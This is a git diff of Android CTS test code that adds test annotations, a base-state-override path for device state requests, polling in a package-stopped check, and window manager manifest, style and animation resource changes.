+        assumeTrue(!mTelephonyManager.isSmsCapable()
+                && (mRoleManager == null || !mRoleManager.isRoleAvailable(RoleManager.ROLE_SMS)));
         String previousSmsAppName = getDefaultSmsPackage();
         try (TestAppInstance smsApp = sSmsApp.install()) {
             mDpm.setDefaultSmsApplication(mAdmin, smsApp.packageName());
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/DevicePolicyManagementRoleHolderTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/DevicePolicyManagementRoleHolderTest.java
index 286ccae..1c35d48 100644
--- a/tests/devicepolicy/src/android/devicepolicy/cts/DevicePolicyManagementRoleHolderTest.java
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/DevicePolicyManagementRoleHolderTest.java
@@ -54,6 +54,7 @@
 import com.android.bedstead.harrier.annotations.EnsureHasPermission;
 import com.android.bedstead.harrier.annotations.Postsubmit;
 import com.android.bedstead.harrier.annotations.RequireFeature;
+import com.android.bedstead.harrier.annotations.RequireMultiUserSupport;
 import com.android.bedstead.harrier.annotations.RequireRunOnPrimaryUser;
 import com.android.bedstead.harrier.annotations.enterprise.EnsureHasDeviceOwner;
 import com.android.bedstead.harrier.annotations.enterprise.EnsureHasNoDpc;
@@ -65,6 +66,7 @@
 import com.android.bedstead.remotedpc.RemoteDpc;
 import com.android.bedstead.testapp.TestApp;
 import com.android.bedstead.testapp.TestAppInstance;
+import com.android.compatibility.common.util.CddTest;
 import com.android.eventlib.truth.EventLogsSubject;
 import com.android.queryable.queries.ActivityQuery;
 
@@ -140,6 +142,7 @@
     @EnsureHasNoDpc
     @EnsureHasNoSecondaryUser
     @Test
+    @CddTest(requirements = {"3.9.4/C-3-1"})
     public void createAndProvisionManagedProfile_roleHolderIsInWorkProfile()
             throws ProvisioningException, InterruptedException {
         UserHandle profile = null;
@@ -172,7 +175,9 @@
     @EnsureHasDeviceOwner
     @RequireRunOnPrimaryUser
     @EnsureHasNoSecondaryUser
+    @RequireMultiUserSupport
     @Test
+    @CddTest(requirements = {"3.9.4/C-3-1"})
     public void createAndManageUser_roleHolderIsInManagedUser() throws InterruptedException {
         UserHandle managedUser = null;
         String roleHolderPackageName = null;
@@ -313,6 +318,7 @@
     @EnsureHasNoWorkProfile
     @RequireRunOnPrimaryUser
     @EnsureHasNoDpc
+    @RequireMultiUserSupport
     public void shouldAllowBypassingDevicePolicyManagementRoleQualification_withUsers_returnsFalse()
             throws Exception {
         resetInternalShouldAllowBypassingState();
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/DevicePolicyManagerTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/DevicePolicyManagerTest.java
index 11b5fd4..ae9ced5 100644
--- a/tests/devicepolicy/src/android/devicepolicy/cts/DevicePolicyManagerTest.java
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/DevicePolicyManagerTest.java
@@ -54,7 +54,6 @@
 
 import android.accounts.Account;
 import android.accounts.AccountManager;
-import android.annotation.RequiresFeature;
 import android.app.AppOpsManager;
 import android.app.admin.DevicePolicyManager;
 import android.app.admin.FullyManagedDeviceProvisioningParams;
@@ -106,6 +105,7 @@
 import com.android.bedstead.nene.users.UserType;
 import com.android.bedstead.remotedpc.RemoteDpc;
 import com.android.bedstead.testapp.TestAppInstance;
+import com.android.compatibility.common.util.ApiTest;
 import com.android.compatibility.common.util.SystemUtil;
 import com.android.eventlib.events.broadcastreceivers.BroadcastReceivedEvent;
 
@@ -1354,7 +1354,8 @@
     @RequireRunOnSecondaryUser
     @EnsureHasNoProfileOwner
     @RequireNotHeadlessSystemUserMode
-    @RequiresFeature(FEATURE_DEVICE_ADMIN)
+    @RequireFeature(FEATURE_DEVICE_ADMIN)
+    @ApiTest(apis = "android.app.admin.DevicePolicyManager#checkProvisioningPrecondition")
     public void checkProvisioningPreCondition_actionDO_onNonSystemUser_returnsNotSystemUser() {
         boolean setupComplete = TestApis.users().current().getSetupComplete();
         TestApis.users().current().setSetupComplete(false);
@@ -1375,6 +1376,8 @@
     @Postsubmit(reason = "New test")
     @Test
     @EnsureDoesNotHavePermission(MANAGE_PROFILE_AND_DEVICE_OWNERS)
+    @RequireFeature(FEATURE_DEVICE_ADMIN)
+    @ApiTest(apis = "android.app.admin.DevicePolicyManager#setUserProvisioningState")
     public void setUserProvisioningState_withoutRequiredPermission_throwsSecurityException() {
         assertThrows(SecurityException.class, () ->
                 sDevicePolicyManager.setUserProvisioningState(
@@ -1667,6 +1670,8 @@
     @RequireRunOnPrimaryUser
     @EnsureHasSecondaryUser
     @EnsureHasPermission(MANAGE_PROFILE_AND_DEVICE_OWNERS)
+    @RequireFeature(FEATURE_DEVICE_ADMIN)
+    @ApiTest(apis = "android.app.admin.DevicePolicyManager#finalizeWorkProfileProvisioning")
     public void finalizeWorkProfileProvisioning_managedUser_throwsException() {
         RemoteDpc dpc = RemoteDpc.setAsProfileOwner(sDeviceState.secondaryUser());
         try {
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/UserControlDisabledPackagesTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/UserControlDisabledPackagesTest.java
index fcf71d0..dfe77fb 100644
--- a/tests/devicepolicy/src/android/devicepolicy/cts/UserControlDisabledPackagesTest.java
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/UserControlDisabledPackagesTest.java
@@ -45,6 +45,7 @@
 import com.android.bedstead.metricsrecorder.EnterpriseMetricsRecorder;
 import com.android.bedstead.nene.TestApis;
 import com.android.bedstead.nene.packages.Package;
+import com.android.bedstead.nene.utils.Poll;
 import com.android.bedstead.testapp.TestApp;
 import com.android.bedstead.testapp.TestAppInstance;
 import com.android.queryable.queries.StringQuery;
@@ -235,6 +236,11 @@
 
     private void assertPackageStopped(String packageName)
             throws Exception {
+        Poll.forValue("Package " + packageName + " stopped", () -> isPackageStopped(packageName))
+                .toBeEqualTo(true)
+                .errorOnFail()
+                .await();
+
         assertWithMessage("Package %s not stopped", packageName)
                 .that(isPackageStopped(packageName)).isTrue();
     }
diff --git a/tests/devicestate/Android.bp b/tests/devicestate/Android.bp
index a2c2523..c064c29 100644
--- a/tests/devicestate/Android.bp
+++ b/tests/devicestate/Android.bp
@@ -24,7 +24,8 @@
         "compatibility-device-util-axt",
         "ctstestrunner-axt",
         "mockito-target-minus-junit4",
-        "cts-wm-util"
+        "cts-wm-util",
+        "cts_window_jetpack_utils",
     ],
     srcs: ["src/**/*.java"],
     // Tag this module as a cts test artifact
diff --git a/tests/devicestate/src/android/hardware/devicestate/cts/DeviceStateManagerTestBase.java b/tests/devicestate/src/android/hardware/devicestate/cts/DeviceStateManagerTestBase.java
index c1815b9..050b069 100644
--- a/tests/devicestate/src/android/hardware/devicestate/cts/DeviceStateManagerTestBase.java
+++ b/tests/devicestate/src/android/hardware/devicestate/cts/DeviceStateManagerTestBase.java
@@ -18,12 +18,6 @@
 
 import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
 
-import static android.hardware.devicestate.cts.DeviceStateUtils.assertValidState;
-import static android.hardware.devicestate.DeviceStateManager.MAXIMUM_DEVICE_STATE;
-import static android.hardware.devicestate.DeviceStateManager.MINIMUM_DEVICE_STATE;
-
-import static org.junit.Assert.assertTrue;
-
 import android.hardware.devicestate.DeviceStateManager;
 import android.hardware.devicestate.DeviceStateRequest;
 import android.server.wm.ActivityManagerTestBase;
@@ -31,18 +25,14 @@
 import androidx.annotation.CallSuper;
 import androidx.annotation.NonNull;
 import androidx.annotation.Nullable;
-
 import androidx.test.ext.junit.runners.AndroidJUnit4;
 
-import com.android.compatibility.common.util.SystemUtil;
-import com.android.compatibility.common.util.ThrowingRunnable;
-
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-
 import org.junit.Before;
 import org.junit.runner.RunWith;
 
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
 import javax.annotation.concurrent.GuardedBy;
 
 /**
@@ -77,12 +67,14 @@
      * {@link java.lang.InterruptedException} will be thrown.
      */
     protected final void runWithRequestActive(@NonNull DeviceStateRequest request,
+            boolean isBaseStateRequest,
             @NonNull Runnable runnable) throws Throwable {
         final UncaughtExceptionHandler exceptionHandler = new UncaughtExceptionHandler();
         final RequestAwareThread thread = new RequestAwareThread(request, runnable);
         thread.setUncaughtExceptionHandler(exceptionHandler);
-        try (DeviceStateRequestSession session
-                     = new DeviceStateRequestSession(mDeviceStateManager, request, thread)) {
+        try (DeviceStateRequestSession session =
+                     new DeviceStateRequestSession(mDeviceStateManager, request,
+                isBaseStateRequest, thread)) {
             // Set the exception handler to get the exception and rethrow.
             thread.start();
             // Wait for the request aware thread to finish executing the runnable. If the request
diff --git a/tests/devicestate/src/android/hardware/devicestate/cts/DeviceStateManagerTests.java b/tests/devicestate/src/android/hardware/devicestate/cts/DeviceStateManagerTests.java
index 230b75a..0bb8e56 100644
--- a/tests/devicestate/src/android/hardware/devicestate/cts/DeviceStateManagerTests.java
+++ b/tests/devicestate/src/android/hardware/devicestate/cts/DeviceStateManagerTests.java
@@ -18,8 +18,8 @@
 
 import static android.hardware.devicestate.DeviceStateManager.MAXIMUM_DEVICE_STATE;
 import static android.hardware.devicestate.DeviceStateManager.MINIMUM_DEVICE_STATE;
-import static android.hardware.devicestate.cts.DeviceStateUtils.assertValidState;
-import static android.hardware.devicestate.cts.DeviceStateUtils.runWithControlDeviceStatePermission;
+import static android.server.wm.DeviceStateUtils.assertValidState;
+import static android.server.wm.DeviceStateUtils.runWithControlDeviceStatePermission;
 import static android.view.Display.DEFAULT_DISPLAY;
 
 import static org.junit.Assert.assertEquals;
@@ -36,6 +36,8 @@
 import android.content.res.Resources;
 import android.hardware.devicestate.DeviceStateManager;
 import android.hardware.devicestate.DeviceStateRequest;
+import android.server.wm.jetpack.utils.ExtensionUtil;
+import android.server.wm.jetpack.utils.Version;
 
 import androidx.test.ext.junit.runners.AndroidJUnit4;
 import androidx.test.platform.app.InstrumentationRegistry;
@@ -58,6 +60,9 @@
 
     private static final int INVALID_DEVICE_STATE = -1;
 
+    /** Vendor extension version. Some API behaviors are only available in newer version. */
+    private static final Version WM_EXTENSION_VERSION = ExtensionUtil.getExtensionVersion();
+
     /**
      * Tests that {@link DeviceStateManager#getSupportedStates()} returns at least one state and
      * that none of the returned states are in the range
@@ -92,13 +97,30 @@
             final DeviceStateRequest request
                     = DeviceStateRequest.newBuilder(supportedStates[i]).build();
 
-            runWithRequestActive(request, () -> {
+            runWithRequestActive(request, false, () -> {
                 verify(callback, atLeastOnce()).onStateChanged(intAgumentCaptor.capture());
                 assertEquals(intAgumentCaptor.getValue().intValue(), request.getState());
             });
         }
     }
 
+    @Test
+    public void testRequestBaseState() throws Throwable {
+        assumeExtensionVersionAtLeast2();
+        final ArgumentCaptor<Integer> intAgumentCaptor = ArgumentCaptor.forClass(Integer.class);
+        final DeviceStateManager.DeviceStateCallback callback =
+                mock(DeviceStateManager.DeviceStateCallback.class);
+        final DeviceStateManager manager = getDeviceStateManager();
+
+        manager.registerCallback(Runnable::run, callback);
+
+        DeviceStateRequest request = DeviceStateRequest.newBuilder(0).build();
+        runWithRequestActive(request, true, () -> {
+            verify(callback, atLeastOnce()).onStateChanged(intAgumentCaptor.capture());
+            assertEquals(intAgumentCaptor.getValue().intValue(), request.getState());
+        });
+    }
+
     /**
      * Tests that calling {@link DeviceStateManager#requestState(DeviceStateRequest, Executor,
      * DeviceStateRequest.Callback)} throws an {@link java.lang.IllegalArgumentException} if
@@ -462,9 +484,7 @@
         final DeviceStateManager manager = getDeviceStateManager();
         final int[] states = manager.getSupportedStates();
         final DeviceStateRequest request = DeviceStateRequest.newBuilder(states[0]).build();
-        runWithRequestActive(request, () -> {
-            manager.cancelStateRequest();
-        });
+        runWithRequestActive(request, false, manager::cancelStateRequest);
     }
 
     /**
@@ -498,6 +518,12 @@
         }
     }
 
+    /** For API changes that are introduced together with WM Extensions version 2. */
+    private static void assumeExtensionVersionAtLeast2() {
+        // TODO(b/232476698) Remove in the next Android release.
+        assumeTrue(WM_EXTENSION_VERSION.getMajor() >= 2);
+    }
+
     private class StateTrackingCallback implements  DeviceStateManager.DeviceStateCallback {
         private int mCurrentState = - 1;
 
diff --git a/tests/devicestate/src/android/hardware/devicestate/cts/DeviceStateRequestSession.java b/tests/devicestate/src/android/hardware/devicestate/cts/DeviceStateRequestSession.java
index 7b15fd9..3e5ab31 100644
--- a/tests/devicestate/src/android/hardware/devicestate/cts/DeviceStateRequestSession.java
+++ b/tests/devicestate/src/android/hardware/devicestate/cts/DeviceStateRequestSession.java
@@ -16,7 +16,7 @@
 
 package android.hardware.devicestate.cts;
 
-import static android.hardware.devicestate.cts.DeviceStateUtils.runWithControlDeviceStatePermission;
+import static android.server.wm.DeviceStateUtils.runWithControlDeviceStatePermission;
 
 import android.hardware.devicestate.DeviceStateManager;
 import android.hardware.devicestate.DeviceStateRequest;
@@ -34,12 +34,15 @@
     @NonNull
     private final DeviceStateRequest mRequest;
     @NonNull
-    private DeviceStateRequest.Callback mCallback;
+    private final DeviceStateRequest.Callback mCallback;
+    private final boolean mIsBaseStateRequest;
 
     public DeviceStateRequestSession(@NonNull DeviceStateManager manager,
-            @NonNull DeviceStateRequest request, @NonNull DeviceStateRequest.Callback callback) {
+            @NonNull DeviceStateRequest request, boolean isBaseStateRequest,
+            @NonNull DeviceStateRequest.Callback callback) {
         mDeviceStateManager = manager;
         mRequest = request;
+        mIsBaseStateRequest = isBaseStateRequest;
         mCallback = callback;
 
         submitRequest(request);
@@ -47,8 +50,14 @@
 
     private void submitRequest(@NonNull DeviceStateRequest request) {
         try {
-            runWithControlDeviceStatePermission(() ->
-                    mDeviceStateManager.requestState(mRequest, Runnable::run, mCallback));
+            if (mIsBaseStateRequest) {
+                runWithControlDeviceStatePermission(() ->
+                        mDeviceStateManager.requestBaseStateOverride(mRequest, Runnable::run,
+                                mCallback));
+            } else {
+                runWithControlDeviceStatePermission(() ->
+                        mDeviceStateManager.requestState(mRequest, Runnable::run, mCallback));
+            }
         } catch (Throwable t) {
             throw new RuntimeException(t);
         }
@@ -57,7 +66,11 @@
     @Override
     public void close() {
         try {
-            runWithControlDeviceStatePermission(mDeviceStateManager::cancelStateRequest);
+            if (mIsBaseStateRequest) {
+                runWithControlDeviceStatePermission(mDeviceStateManager::cancelBaseStateOverride);
+            } else {
+                runWithControlDeviceStatePermission(mDeviceStateManager::cancelStateRequest);
+            }
         } catch (Throwable t) {
             throw new RuntimeException(t);
         }
diff --git a/tests/framework/base/windowmanager/AndroidManifest.xml b/tests/framework/base/windowmanager/AndroidManifest.xml
index 1a86422..b1aabf0 100644
--- a/tests/framework/base/windowmanager/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/AndroidManifest.xml
@@ -433,6 +433,8 @@
 
         <activity android:name="android.server.wm.WindowInsetsAnimationTestBase$TestActivity"
              android:theme="@android:style/Theme.Material.NoActionBar"/>
+        <activity android:name="android.server.wm.WindowInsetsAnimationControllerTests$ControllerTestActivity"
+            android:theme="@android:style/Theme.Material.NoActionBar" />
 
         <activity android:name="android.server.wm.ForceRelayoutTestBase$TestActivity"
              android:exported="true"/>
@@ -456,6 +458,10 @@
             android:colorMode="wideColorGamut"
             android:fitsSystemWindows="true" />
 
+        <activity android:name="android.server.wm.ActivityTransitionTests$CustomWindowAnimationActivity"
+            android:theme="@style/window_task_animation"
+            android:exported="true"/>
+
         <activity android:name="android.server.wm.WindowUntrustedTouchTest$TestActivity"
                   android:exported="true"
                   android:configChanges="screenSize|screenLayout|orientation"
@@ -492,7 +498,7 @@
         <activity android:name="android.server.wm.CompatChangeTests$NonResizeableLargeAspectRatioActivity"
                   android:resizeableActivity="false"
                   android:screenOrientation="portrait"
-                  android:minAspectRatio="3"
+                  android:minAspectRatio="4"
                   android:exported="true"/>
 
         <activity android:name="android.server.wm.CompatChangeTests$SupportsSizeChangesPortraitActivity"
diff --git a/tests/framework/base/windowmanager/app/AndroidManifest.xml b/tests/framework/base/windowmanager/app/AndroidManifest.xml
index be93126..2e0a212 100755
--- a/tests/framework/base/windowmanager/app/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/app/AndroidManifest.xml
@@ -620,16 +620,6 @@
              android:exported="true"
              android:colorMode="wideColorGamut"
              android:theme="@style/BadBlurryDialog"/>
-        <activity android:name=".CustomTransitionExitActivity"
-            android:theme="@style/Theme.CustomTransitionTheme"
-            android:exported="true"
-            android:colorMode="wideColorGamut"
-            android:fitsSystemWindows="true" />
-        <activity android:name=".CustomTransitionEnterActivity"
-            android:theme="@style/Theme.CustomTransitionTheme"
-            android:exported="true"
-            android:colorMode="wideColorGamut"
-            android:fitsSystemWindows="true" />
         <activity android:name=".KeepClearRectsActivity"
             android:exported="true"
             android:theme="@style/NoInsetsTheme"/>
diff --git a/tests/framework/base/windowmanager/app/res/anim/animation_with_background.xml b/tests/framework/base/windowmanager/app/res/anim/animation_with_background.xml
index 3391d53..48f004d 100644
--- a/tests/framework/base/windowmanager/app/res/anim/animation_with_background.xml
+++ b/tests/framework/base/windowmanager/app/res/anim/animation_with_background.xml
@@ -1,5 +1,6 @@
+<?xml version="1.0" encoding="utf-8"?>
 <!--
-  ~ Copyright (C) 2016 The Android Open Source Project
+  ~ Copyright (C) 2022 The Android Open Source Project
   ~
   ~ Licensed under the Apache License, Version 2.0 (the "License");
   ~ you may not use this file except in compliance with the License.
@@ -11,16 +12,42 @@
   ~ distributed under the License is distributed on an "AS IS" BASIS,
   ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
   ~ See the License for the specific language governing permissions and
-  ~ limitations under the License
+  ~ limitations under the License.
   -->
-<!-- Duration is set higher than the wait for state checks (once per second) to avoid races to make
-     sure that the check occurs during the animation is running. -->
-<translate
-    xmlns:android="http://schemas.android.com/apk/res/android"
-    android:fromYDelta="100%" android:toYDelta="0"
-    android:interpolator="@android:interpolator/linear"
-    android:fillEnabled="true"
-    android:fillBefore="true" android:fillAfter="true"
-    android:duration="2000"
-    android:background="#ff0000">
-</translate>
\ No newline at end of file
+
+<set xmlns:android="http://schemas.android.com/apk/res/android"
+    android:shareInterpolator="false">
+
+    <alpha
+        android:fromAlpha="1.0"
+        android:toAlpha="1.0"
+        android:fillEnabled="true"
+        android:fillBefore="true"
+        android:fillAfter="true"
+        android:interpolator="@android:interpolator/linear"
+        android:startOffset="0"
+        android:duration="5000" />
+
+    <scale
+        android:fromXScale="1.0"
+        android:toXScale="1.0"
+        android:fromYScale="0.5"
+        android:toYScale="0.5"
+        android:interpolator="@android:interpolator/linear"
+        android:startOffset="0"
+        android:duration="5000" />
+
+    <extend
+        android:fromExtendLeft="0"
+        android:fromExtendTop="0"
+        android:fromExtendRight="0"
+        android:fromExtendBottom="100%"
+        android:toExtendLeft="0"
+        android:toExtendTop="0"
+        android:toExtendRight="0"
+        android:toExtendBottom="100%"
+        android:interpolator="@android:interpolator/linear"
+        android:startOffset="0"
+        android:duration="5000" />
+
+</set>
diff --git a/tests/framework/base/windowmanager/app/res/anim/edge_extension_bottom_window_animation.xml b/tests/framework/base/windowmanager/app/res/anim/edge_extension_bottom_window_animation.xml
deleted file mode 100644
index 48f004d..0000000
--- a/tests/framework/base/windowmanager/app/res/anim/edge_extension_bottom_window_animation.xml
+++ /dev/null
@@ -1,53 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
-  ~ Copyright (C) 2022 The Android Open Source Project
-  ~
-  ~ Licensed under the Apache License, Version 2.0 (the "License");
-  ~ you may not use this file except in compliance with the License.
-  ~ You may obtain a copy of the License at
-  ~
-  ~      http://www.apache.org/licenses/LICENSE-2.0
-  ~
-  ~ Unless required by applicable law or agreed to in writing, software
-  ~ distributed under the License is distributed on an "AS IS" BASIS,
-  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  ~ See the License for the specific language governing permissions and
-  ~ limitations under the License.
-  -->
-
-<set xmlns:android="http://schemas.android.com/apk/res/android"
-    android:shareInterpolator="false">
-
-    <alpha
-        android:fromAlpha="1.0"
-        android:toAlpha="1.0"
-        android:fillEnabled="true"
-        android:fillBefore="true"
-        android:fillAfter="true"
-        android:interpolator="@android:interpolator/linear"
-        android:startOffset="0"
-        android:duration="5000" />
-
-    <scale
-        android:fromXScale="1.0"
-        android:toXScale="1.0"
-        android:fromYScale="0.5"
-        android:toYScale="0.5"
-        android:interpolator="@android:interpolator/linear"
-        android:startOffset="0"
-        android:duration="5000" />
-
-    <extend
-        android:fromExtendLeft="0"
-        android:fromExtendTop="0"
-        android:fromExtendRight="0"
-        android:fromExtendBottom="100%"
-        android:toExtendLeft="0"
-        android:toExtendTop="0"
-        android:toExtendRight="0"
-        android:toExtendBottom="100%"
-        android:interpolator="@android:interpolator/linear"
-        android:startOffset="0"
-        android:duration="5000" />
-
-</set>
diff --git a/tests/framework/base/windowmanager/app/res/anim/edge_extension_left_window_animation.xml b/tests/framework/base/windowmanager/app/res/anim/edge_extension_left_window_animation.xml
deleted file mode 100644
index 6be9f1b..0000000
--- a/tests/framework/base/windowmanager/app/res/anim/edge_extension_left_window_animation.xml
+++ /dev/null
@@ -1,59 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
-  ~ Copyright (C) 2022 The Android Open Source Project
-  ~
-  ~ Licensed under the Apache License, Version 2.0 (the "License");
-  ~ you may not use this file except in compliance with the License.
-  ~ You may obtain a copy of the License at
-  ~
-  ~      http://www.apache.org/licenses/LICENSE-2.0
-  ~
-  ~ Unless required by applicable law or agreed to in writing, software
-  ~ distributed under the License is distributed on an "AS IS" BASIS,
-  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  ~ See the License for the specific language governing permissions and
-  ~ limitations under the License.
-  -->
-
-<set xmlns:android="http://schemas.android.com/apk/res/android"
-    android:shareInterpolator="false">
-
-    <alpha
-        android:fromAlpha="1.0"
-        android:toAlpha="1.0"
-        android:fillEnabled="true"
-        android:fillBefore="true"
-        android:fillAfter="true"
-        android:interpolator="@android:interpolator/linear"
-        android:startOffset="0"
-        android:duration="5000" />
-
-    <scale
-        android:fromXScale="0.5"
-        android:toXScale="0.5"
-        android:fromYScale="1.0"
-        android:toYScale="1.0"
-        android:interpolator="@android:interpolator/linear"
-        android:startOffset="0"
-        android:duration="5000" />
-
-    <translate
-        android:fromXDelta="50%"
-        android:toXDelta="50%"
-        android:interpolator="@android:interpolator/linear"
-        android:duration="5000" />
-
-    <extend
-        android:fromExtendLeft="100%"
-        android:fromExtendTop="0"
-        android:fromExtendRight="0"
-        android:fromExtendBottom="0"
-        android:toExtendLeft="100%"
-        android:toExtendTop="0"
-        android:toExtendRight="0"
-        android:toExtendBottom="0"
-        android:interpolator="@android:interpolator/linear"
-        android:startOffset="0"
-        android:duration="5000" />
-
-</set>
diff --git a/tests/framework/base/windowmanager/app/res/anim/edge_extension_right_window_animation.xml b/tests/framework/base/windowmanager/app/res/anim/edge_extension_right_window_animation.xml
deleted file mode 100644
index c589f0e..0000000
--- a/tests/framework/base/windowmanager/app/res/anim/edge_extension_right_window_animation.xml
+++ /dev/null
@@ -1,53 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
-  ~ Copyright (C) 2022 The Android Open Source Project
-  ~
-  ~ Licensed under the Apache License, Version 2.0 (the "License");
-  ~ you may not use this file except in compliance with the License.
-  ~ You may obtain a copy of the License at
-  ~
-  ~      http://www.apache.org/licenses/LICENSE-2.0
-  ~
-  ~ Unless required by applicable law or agreed to in writing, software
-  ~ distributed under the License is distributed on an "AS IS" BASIS,
-  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  ~ See the License for the specific language governing permissions and
-  ~ limitations under the License.
-  -->
-
-<set xmlns:android="http://schemas.android.com/apk/res/android"
-    android:shareInterpolator="false">
-
-    <alpha
-        android:fromAlpha="1.0"
-        android:toAlpha="1.0"
-        android:fillEnabled="true"
-        android:fillBefore="true"
-        android:fillAfter="true"
-        android:interpolator="@android:interpolator/linear"
-        android:startOffset="0"
-        android:duration="5000" />
-
-    <scale
-        android:fromXScale="0.5"
-        android:toXScale="0.5"
-        android:fromYScale="1.0"
-        android:toYScale="1.0"
-        android:interpolator="@android:interpolator/linear"
-        android:startOffset="0"
-        android:duration="5000" />
-
-    <extend
-        android:fromExtendLeft="0"
-        android:fromExtendTop="0"
-        android:fromExtendRight="100%"
-        android:fromExtendBottom="0"
-        android:toExtendLeft="0"
-        android:toExtendTop="0"
-        android:toExtendRight="100%"
-        android:toExtendBottom="0"
-        android:interpolator="@android:interpolator/linear"
-        android:startOffset="0"
-        android:duration="5000" />
-
-</set>
diff --git a/tests/framework/base/windowmanager/app/res/anim/edge_extension_top_window_animation.xml b/tests/framework/base/windowmanager/app/res/anim/edge_extension_top_window_animation.xml
deleted file mode 100644
index 0b421a4..0000000
--- a/tests/framework/base/windowmanager/app/res/anim/edge_extension_top_window_animation.xml
+++ /dev/null
@@ -1,59 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
-  ~ Copyright (C) 2022 The Android Open Source Project
-  ~
-  ~ Licensed under the Apache License, Version 2.0 (the "License");
-  ~ you may not use this file except in compliance with the License.
-  ~ You may obtain a copy of the License at
-  ~
-  ~      http://www.apache.org/licenses/LICENSE-2.0
-  ~
-  ~ Unless required by applicable law or agreed to in writing, software
-  ~ distributed under the License is distributed on an "AS IS" BASIS,
-  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  ~ See the License for the specific language governing permissions and
-  ~ limitations under the License.
-  -->
-
-<set xmlns:android="http://schemas.android.com/apk/res/android"
-    android:shareInterpolator="false">
-
-    <alpha
-        android:fromAlpha="1.0"
-        android:toAlpha="1.0"
-        android:fillEnabled="true"
-        android:fillBefore="true"
-        android:fillAfter="true"
-        android:interpolator="@android:interpolator/linear"
-        android:startOffset="0"
-        android:duration="5000" />
-
-    <scale
-        android:fromXScale="1.0"
-        android:toXScale="1.0"
-        android:fromYScale="0.5"
-        android:toYScale="0.5"
-        android:interpolator="@android:interpolator/linear"
-        android:startOffset="0"
-        android:duration="5000" />
-
-    <translate
-        android:fromYDelta="50%"
-        android:toYDelta="50%"
-        android:interpolator="@android:interpolator/linear"
-        android:duration="5000" />
-
-    <extend
-        android:fromExtendLeft="0"
-        android:fromExtendTop="100%"
-        android:fromExtendRight="0"
-        android:fromExtendBottom="0"
-        android:toExtendLeft="0"
-        android:toExtendTop="100%"
-        android:toExtendRight="0"
-        android:toExtendBottom="0"
-        android:interpolator="@android:interpolator/linear"
-        android:startOffset="0"
-        android:duration="5000" />
-
-</set>
diff --git a/tests/framework/base/windowmanager/app/res/values/styles.xml b/tests/framework/base/windowmanager/app/res/values/styles.xml
index 695f579..43f60eb 100644
--- a/tests/framework/base/windowmanager/app/res/values/styles.xml
+++ b/tests/framework/base/windowmanager/app/res/values/styles.xml
@@ -97,14 +97,6 @@
         <item name="android:windowSplashScreenBehavior">icon_preferred</item>
     </style>
 
-    <style name="Theme.CustomTransitionTheme" parent="@android:style/Theme.Material.NoActionBar">
-        <item name="android:background">#ffffff</item>
-        <item name="android:windowBackground">#ffffff</item>
-        <item name="android:colorBackground">#ffffff</item>
-        <item name="android:statusBarColor">@android:color/transparent</item>
-        <item name="android:navigationBarColor">@android:color/transparent</item>
-    </style>
-
     <style name="NoInsetsTheme" parent="@android:style/Theme.NoTitleBar">
         <item name="android:windowLayoutInDisplayCutoutMode">always</item>
         <item name="android:windowSoftInputMode">stateHidden</item>
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/Components.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/Components.java
index 16ddfcd..a839054 100644
--- a/tests/framework/base/windowmanager/app/src/android/server/wm/app/Components.java
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/Components.java
@@ -284,12 +284,6 @@
     public static final ComponentName BAD_BLUR_ACTIVITY =
             component("BadBlurActivity");
 
-    public static final ComponentName CUSTOM_TRANSITION_EXIT_ACTIVITY =
-            component("CustomTransitionExitActivity");
-
-    public static final ComponentName CUSTOM_TRANSITION_ENTER_ACTIVITY =
-            component("CustomTransitionEnterActivity");
-
     public static final ComponentName KEEP_CLEAR_RECTS_ACTIVITY =
             component("KeepClearRectsActivity");
 
@@ -297,22 +291,6 @@
             component("KeepClearRectsActivity2");
 
     /**
-     * The keys used by {@link CustomTransitionExitActivity} to select the animation to run.
-     */
-    public static class CustomTransitionAnimations {
-        /** see @anim/show_backdrop_hide_window_animation.xml */
-        public static final String BACKGROUND_COLOR = "backgroundColor";
-        /** see @anim/edge_extension_right_window_animation.xml */
-        public static final String LEFT_EDGE_EXTENSION = "leftEdgeExtension";
-        /** see @anim/edge_extension_top_window_animation.xml */
-        public static final String TOP_EDGE_EXTENSION = "topEdgeExtension";
-        /** see @anim/edge_extension_left_window_animation.xml */
-        public static final String RIGHT_EDGE_EXTENSION = "rightEdgeExtension";
-        /** see @anim/edge_extension_bottom_window_animation.xml */
-        public static final String BOTTOM_EDGE_EXTENSION = "bottomExtension";
-    }
-
-    /**
      * The keys are used for {@link TestJournalProvider} when testing starting window.
      */
     public static class TestStartingWindowKeys {
@@ -559,6 +537,9 @@
         // Calls requestAutoEnterPictureInPicture() with the value provided
         public static final String EXTRA_ENTER_PIP_ON_PIP_REQUESTED =
                 "enter_pip_on_pip_requested";
+        // Calls enterPictureInPictureMode when activity receives onBackPressed
+        public static final String EXTRA_ENTER_PIP_ON_BACK_PRESSED =
+                "enter_pip_on_back_pressed";
         public static final String EXTRA_EXPANDED_PIP_ASPECT_RATIO_NUMERATOR =
                 "expanded_pip_numerator";
